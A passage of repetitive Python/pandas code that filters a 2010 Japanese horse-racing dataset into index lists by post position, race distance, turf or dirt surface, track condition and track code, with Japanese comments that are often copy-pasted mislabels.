list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] <= 1400))].index)\nt63 = list(moto_2010[((moto_2010['umaban'] >= 9) & (1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200))].index)\nt64 = list(moto_2010[((moto_2010['umaban'] >= 9) & (2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600))].index)\nt65 = list(moto_2010[((moto_2010['umaban'] >= 9) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)))].index)\nt66 = list(moto_2010[((moto_2010['umaban'] >= 9) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)))].index)\nt67 = list(moto_2010[((moto_2010['umaban'] >= 9) & ((moto_2010['sibababacd'] > 0)))].index)\nt68 = list(moto_2010[((moto_2010['umaban'] >= 9) & ((moto_2010['sibababacd'] == 0)))].index)\nt69 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] <= 1400) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)))].index)\nt70 = list(moto_2010[((moto_2010['umaban'] >= 9) & (1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)))].index)\nt71 = list(moto_2010[((moto_2010['umaban'] >= 9) & (2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)))].index)\nt72 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] <= 1400) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)))].index)\nt73 = list(moto_2010[((moto_2010['umaban'] >= 9) & (1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)))].index)\nt74 = list(moto_2010[((moto_2010['umaban'] >= 9) & (2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)))].index)\nt75 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] <= 1400) & ((moto_2010['sibababacd'] > 0)))].index)\nt76 = list(moto_2010[((moto_2010['umaban'] >= 9) & (1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200) & ((moto_2010['sibababacd'] > 0)))].index)\nt77 = list(moto_2010[((moto_2010['umaban'] >= 9) & (2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600) & ((moto_2010['sibababacd'] > 0)))].index)\nt78 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] <= 1400) & ((moto_2010['sibababacd'] == 0)))].index)\nt79 = list(moto_2010[((moto_2010['umaban'] >= 9) & (1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200) & ((moto_2010['sibababacd'] == 0)))].index)\nt80 = list(moto_2010[((moto_2010['umaban'] >= 9) & (2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600) & ((moto_2010['sibababacd'] == 0)))].index)\nt81 = list(moto_2010[((moto_2010['umaban'] >= 9) & ((moto_2010['trackcd'] == 11) | (moto_2010['trackcd'] == 17)) & ((moto_2010['sibababacd'] > 0)))].index)\nt82 = list(moto_2010[((moto_2010['umaban'] >= 9) & ((moto_2010['trackcd'] == 12) | (moto_2010['trackcd'] == 18)) & ((moto_2010['sibababacd'] > 0)))].index)\nt83 = list(moto_2010[((moto_2010['umaban'] >= 9) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] > 0)))].index)\nt84 = list(moto_2010[((moto_2010['umaban'] >= 9) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] > 0)))].index)\nt85 = list(moto_2010[((moto_2010['umaban'] >= 9) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] == 0)))].index)\nt86 = list(moto_2010[((moto_2010['umaban'] >= 9) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] == 0)))].index)\nt87 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] <= 1400) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] > 0)))].index)\nt88 = list(moto_2010[((moto_2010['umaban'] >= 9) & (1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] > 0)))].index)\nt89 = list(moto_2010[((moto_2010['umaban'] >= 9) & (2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] > 0)))].index)\nt90 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] <= 1400) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] > 0)))].index)\nt91 = list(moto_2010[((moto_2010['umaban'] >= 9) & (1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] > 0)))].index)\nt92 = list(moto_2010[((moto_2010['umaban'] >= 9) & (2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] > 0)))].index)\nt93 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] <= 1400) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] == 0)))].index)\nt94 = list(moto_2010[((moto_2010['umaban'] >= 9) & (1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] == 0)))].index)\nt95 = list(moto_2010[((moto_2010['umaban'] >= 9) & (2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] == 0)))].index)\nt96 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] <= 1400) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] == 0)))].index)\nt97 = list(moto_2010[((moto_2010['umaban'] >= 9) & (1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] == 0)))].index)\nt98 = list(moto_2010[((moto_2010['umaban'] >= 9) & (2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] == 0)))].index)\nt99 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] <= 1400) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 11) | (moto_2010['trackcd'] == 17)))].index)\nt100 = list(moto_2010[((moto_2010['umaban'] >= 9) & (1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 11) | (moto_2010['trackcd'] == 17)))].index)\nt101 = list(moto_2010[((moto_2010['umaban'] >= 9) & (2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 11) | (moto_2010['trackcd'] == 17)))].index)\nt102 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] <= 1400) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 12) | (moto_2010['trackcd'] == 18)))].index)\nt103 = list(moto_2010[((moto_2010['umaban'] >= 9) & (1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 12) | (moto_2010['trackcd'] == 18)))].index)\nt104 = list(moto_2010[((moto_2010['umaban'] >= 9) & (2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 12) | (moto_2010['trackcd'] == 18)))].index)\nt105 = list(moto_2010[((moto_2010['umaban'] >= 9) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 11) | (moto_2010['trackcd'] == 17)))].index)\nt106 = list(moto_2010[((moto_2010['umaban'] >= 9) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 12) | (moto_2010['trackcd'] == 18)))].index)\nt107 = list(moto_2010[((moto_2010['umaban'] >= 9) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 12) | (moto_2010['trackcd'] == 18)))].index)\nt108 = list(moto_2010[((moto_2010['umaban'] >= 9) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 11) | (moto_2010['trackcd'] == 17)))].index)\nt109 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] <= 1400) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 11) | (moto_2010['trackcd'] == 17)))].index)\nt110 = list(moto_2010[((moto_2010['umaban'] >= 9) & (1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 11) | (moto_2010['trackcd'] == 17)))].index)\nt111 = list(moto_2010[((moto_2010['umaban'] >= 9) & (2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 11) | (moto_2010['trackcd'] == 17)))].index)\nt112 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] <= 1400) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 12) | (moto_2010['trackcd'] == 18)))].index)\nt113 = list(moto_2010[((moto_2010['umaban'] >= 9) & (1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 12) | (moto_2010['trackcd'] == 18)))].index)\nt114 = list(moto_2010[((moto_2010['umaban'] >= 9) & (2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 12) | (moto_2010['trackcd'] == 18)))].index)\nt115 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] <= 1400) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 11) | (moto_2010['trackcd'] == 17)))].index)\nt116 = list(moto_2010[((moto_2010['umaban'] >= 9) & (1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 11) | (moto_2010['trackcd'] == 17)))].index)\nt117 = list(moto_2010[((moto_2010['umaban'] >= 9) & (2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 11) | (moto_2010['trackcd'] == 17)))].index)\nt118 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] <= 1400) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 12) | (moto_2010['trackcd'] == 18)))].index)\nt119 = list(moto_2010[((moto_2010['umaban'] >= 9) & (1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 12) | (moto_2010['trackcd'] == 18)))].index)\nt120 = list(moto_2010[((moto_2010['umaban'] >= 9) & (2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] > 1)) & ((moto_2010['sibababacd'] > 0)) & ((moto_2010['trackcd'] == 12) | (moto_2010['trackcd'] == 18)))].index)\n# 馬番関係\nt121 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 1000) & ((moto_2010['sibababacd'] > 0)))].index) # 9以下かつ1000mかつ芝\nt122 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 1150) & ((moto_2010['sibababacd'] > 0)))].index) # 9以下かつ1000mかつ芝\nt123 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 1200) & ((moto_2010['sibababacd'] > 0)))].index) # 9以下かつ1000mかつ芝\nt124 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 1300) & ((moto_2010['sibababacd'] > 0)))].index) # 9以下かつ1000mかつ芝\nt125 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 1400) & ((moto_2010['sibababacd'] > 0)))].index) # 9以下かつ1000mかつ芝\nt126 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 1500) & ((moto_2010['sibababacd'] > 0)))].index) # 9以下かつ1000mかつ芝\nt127 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 1600) & ((moto_2010['sibababacd'] > 0)))].index) # 9以下かつ1000mかつ芝\nt128 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 1700) & ((moto_2010['sibababacd'] > 0)))].index) # 9以下かつ1000mかつ芝\nt129 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 1800) & ((moto_2010['sibababacd'] > 0)))].index) # 9以下かつ1000mかつ芝\nt130 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 1900) & ((moto_2010['sibababacd'] > 0)))].index) # 9以下かつ1000mかつ芝\nt131 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 2000) & ((moto_2010['sibababacd'] > 0)))].index) # 9以下かつ1000mかつ芝\nt132 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 2100) & ((moto_2010['sibababacd'] > 0)))].index) # 9以下かつ1000mかつ芝\nt133 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 2200) & ((moto_2010['sibababacd'] > 0)))].index) # 9以下かつ1000mかつ芝\nt134 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 2300) & ((moto_2010['sibababacd'] > 0)))].index) # 9以下かつ1000mかつ芝\nt135 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 2400) & ((moto_2010['sibababacd'] > 0)))].index) # 9以下かつ1000mかつ芝\nt136 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 2500) & ((moto_2010['sibababacd'] > 0)))].index) # 9以下かつ1000mかつ芝\nt137 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 2600) & ((moto_2010['sibababacd'] > 0)))].index) # 9以下かつ1000mかつ芝\nt138 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 2800) & ((moto_2010['sibababacd'] > 0)))].index) # 9以下かつ1000mかつ芝\nt139 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 3000) & ((moto_2010['sibababacd'] > 0)))].index) # 9以下かつ1000mかつ芝\nt140 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 3200) & ((moto_2010['sibababacd'] > 0)))].index) # 9以下かつ1000mかつ芝\nt141 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 3400) & ((moto_2010['sibababacd'] > 0)))].index) # 9以下かつ1000mかつ芝\nt142 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 3600) & ((moto_2010['sibababacd'] > 0)))].index) # 9以下かつ1000mかつ芝\nt143 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 1000) & ((moto_2010['sibababacd'] == 0)))].index) # 9以下かつ1000mかつダ\nt144 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 1150) & ((moto_2010['sibababacd'] == 0)))].index) # 9以下かつ1000mかつダ\nt145 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 1200) & ((moto_2010['sibababacd'] == 0)))].index) # 9以下かつ1000mかつダ\nt146 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 1300) & ((moto_2010['sibababacd'] == 0)))].index) # 9以下かつ1000mかつダ\nt147 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 1400) & ((moto_2010['sibababacd'] == 0)))].index) # 9以下かつ1000mかつダ\nt148 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 1500) & ((moto_2010['sibababacd'] == 0)))].index) # 9以下かつ1000mかつダ\nt149 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 1600) & ((moto_2010['sibababacd'] == 0)))].index) # 9以下かつ1000mかつダ\nt150 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 1700) & ((moto_2010['sibababacd'] == 0)))].index) # 9以下かつ1000mかつダ\nt151 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 1800) & ((moto_2010['sibababacd'] == 0)))].index) # 9以下かつ1000mかつダ\nt152 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 1900) & ((moto_2010['sibababacd'] == 0)))].index) # 9以下かつ1000mかつダ\nt153 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 2000) & ((moto_2010['sibababacd'] == 0)))].index) # 9以下かつ1000mかつダ\nt154 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 2100) & ((moto_2010['sibababacd'] == 0)))].index) # 9以下かつ1000mかつダ\nt155 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 2200) & ((moto_2010['sibababacd'] == 0)))].index) # 9以下かつ1000mかつダ\nt156 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 2300) & ((moto_2010['sibababacd'] == 0)))].index) # 9以下かつ1000mかつダ\nt157 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 2400) & ((moto_2010['sibababacd'] == 0)))].index) # 9以下かつ1000mかつダ\nt158 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 2500) & ((moto_2010['sibababacd'] == 0)))].index) # 9以下かつ1000mかつダ\nt159 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 2600) & ((moto_2010['sibababacd'] == 0)))].index) # 9以下かつ1000mかつダ\nt160 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 2800) & ((moto_2010['sibababacd'] == 0)))].index) # 9以下かつ1000mかつダ\nt161 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 3000) & ((moto_2010['sibababacd'] == 0)))].index) # 9以下かつ1000mかつダ\nt162 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 3200) & ((moto_2010['sibababacd'] == 0)))].index) # 9以下かつ1000mかつダ\nt163 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 3400) & ((moto_2010['sibababacd'] == 0)))].index) # 9以下かつ1000mかつダ\nt164 = list(moto_2010[((moto_2010['umaban'] < 9) & (moto_2010['kyori'] == 3600) & ((moto_2010['sibababacd'] == 0)))].index) # 9以下かつ1000mかつダ\nt165 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 1000) & ((moto_2010['sibababacd'] > 0)))].index) # 9以上かつ1000mかつ芝\nt166 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 1150) & ((moto_2010['sibababacd'] > 0)))].index) # 9以上かつ1000mかつ芝\nt167 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 1200) & ((moto_2010['sibababacd'] > 0)))].index) # 9以上かつ1000mかつ芝\nt168 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 1300) & ((moto_2010['sibababacd'] > 0)))].index) # 9以上かつ1000mかつ芝\nt169 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 1400) & ((moto_2010['sibababacd'] > 0)))].index) # 9以上かつ1000mかつ芝\nt170 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 1500) & ((moto_2010['sibababacd'] > 0)))].index) # 9以上かつ1000mかつ芝\nt171 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 1600) & ((moto_2010['sibababacd'] > 0)))].index) # 9以上かつ1000mかつ芝\nt172 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 1700) & ((moto_2010['sibababacd'] > 0)))].index) # 9以上かつ1000mかつ芝\nt173 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 1800) & ((moto_2010['sibababacd'] > 0)))].index) # 9以上かつ1000mかつ芝\nt174 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 1900) & ((moto_2010['sibababacd'] > 0)))].index) # 9以上かつ1000mかつ芝\nt175 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 2000) & ((moto_2010['sibababacd'] > 0)))].index) # 9以上かつ1000mかつ芝\nt176 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 2100) & ((moto_2010['sibababacd'] > 0)))].index) # 9以上かつ1000mかつ芝\nt177 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 2200) & ((moto_2010['sibababacd'] > 0)))].index) # 9以上かつ1000mかつ芝\nt178 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 2300) & ((moto_2010['sibababacd'] > 0)))].index) # 9以上かつ1000mかつ芝\nt179 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 2400) & ((moto_2010['sibababacd'] > 0)))].index) # 9以上かつ1000mかつ芝\nt180 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 2500) & ((moto_2010['sibababacd'] > 0)))].index) # 9以上かつ1000mかつ芝\nt181 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 2600) & ((moto_2010['sibababacd'] > 0)))].index) # 9以上かつ1000mかつ芝\nt182 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 2800) & ((moto_2010['sibababacd'] > 0)))].index) # 9以上かつ1000mかつ芝\nt183 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 3000) & ((moto_2010['sibababacd'] > 0)))].index) # 9以上かつ1000mかつ芝\nt184 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 3200) & ((moto_2010['sibababacd'] > 0)))].index) # 9以上かつ1000mかつ芝\nt185 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 3400) & ((moto_2010['sibababacd'] > 0)))].index) # 9以上かつ1000mかつ芝\nt186 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 3600) & ((moto_2010['sibababacd'] > 0)))].index) # 9以上かつ1000mかつ芝\nt187 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 1000) & ((moto_2010['sibababacd'] == 0)))].index) # 9以上かつ1000mかつダ\nt188 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 1150) & ((moto_2010['sibababacd'] == 0)))].index) # 9以上かつ1000mかつダ\nt189 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 1200) & ((moto_2010['sibababacd'] == 0)))].index) # 9以上かつ1000mかつダ\nt190 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 1300) & ((moto_2010['sibababacd'] == 0)))].index) # 9以上かつ1000mかつダ\nt191 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 1400) & ((moto_2010['sibababacd'] == 0)))].index) # 9以上かつ1000mかつダ\nt192 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 1500) & ((moto_2010['sibababacd'] == 0)))].index) # 9以上かつ1000mかつダ\nt193 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 1600) & ((moto_2010['sibababacd'] == 0)))].index) # 9以上かつ1000mかつダ\nt194 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 1700) & ((moto_2010['sibababacd'] == 0)))].index) # 9以上かつ1000mかつダ\nt195 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 1800) & ((moto_2010['sibababacd'] == 0)))].index) # 9以上かつ1000mかつダ\nt196 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 1900) & ((moto_2010['sibababacd'] == 0)))].index) # 9以上かつ1000mかつダ\nt197 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 2000) & ((moto_2010['sibababacd'] == 0)))].index) # 9以上かつ1000mかつダ\nt198 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 2100) & ((moto_2010['sibababacd'] == 0)))].index) # 9以上かつ1000mかつダ\nt199 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 2200) & ((moto_2010['sibababacd'] == 0)))].index) # 9以上かつ1000mかつダ\nt200 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 2300) & ((moto_2010['sibababacd'] == 0)))].index) # 9以上かつ1000mかつダ\nt201 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 2400) & ((moto_2010['sibababacd'] == 0)))].index) # 9以上かつ1000mかつダ\nt202 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 2500) & ((moto_2010['sibababacd'] == 0)))].index) # 9以上かつ1000mかつダ\nt203 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 2600) & ((moto_2010['sibababacd'] == 0)))].index) # 9以上かつ1000mかつダ\nt204 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 2800) & ((moto_2010['sibababacd'] == 0)))].index) # 9以上かつ1000mかつダ\nt205 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 3000) & ((moto_2010['sibababacd'] == 0)))].index) # 9以上かつ1000mかつダ\nt206 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 3200) & ((moto_2010['sibababacd'] == 0)))].index) # 9以上かつ1000mかつダ\nt207 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 3400) & ((moto_2010['sibababacd'] == 0)))].index) # 9以上かつ1000mかつダ\nt208 = list(moto_2010[((moto_2010['umaban'] >= 9) & (moto_2010['kyori'] == 3600) & ((moto_2010['sibababacd'] == 0)))].index) # 9���上かつ1000mかつダ\n# 距離関係\nt209 = list(moto_2010[((moto_2010['kyori'] <= 1400))].index) # 1400以下\nt210 = list(moto_2010[((1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200))].index) # 1422\nt211 = list(moto_2010[((2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600))].index) # 2236\nt212 = list(moto_2010[((moto_2010['kyori'] <= 1400) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)))].index) # 14良\nt213 = list(moto_2010[((1400 < moto_2010['kyori']) & (moto_2010['kyori'] <= 2200) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)))].index) # 1422良\nt214 = list(moto_2010[((2200 < moto_2010['kyori']) & (moto_2010['kyori'] <= 3600) & ((moto_2010['sibababacd'] + moto_2010['dirtbabacd'] == 1)))].index) # 2236良\nt215 = list(moto_2010[((moto_2010['kyori'] <= 1400) & ((moto_2010['sibababacd'] + 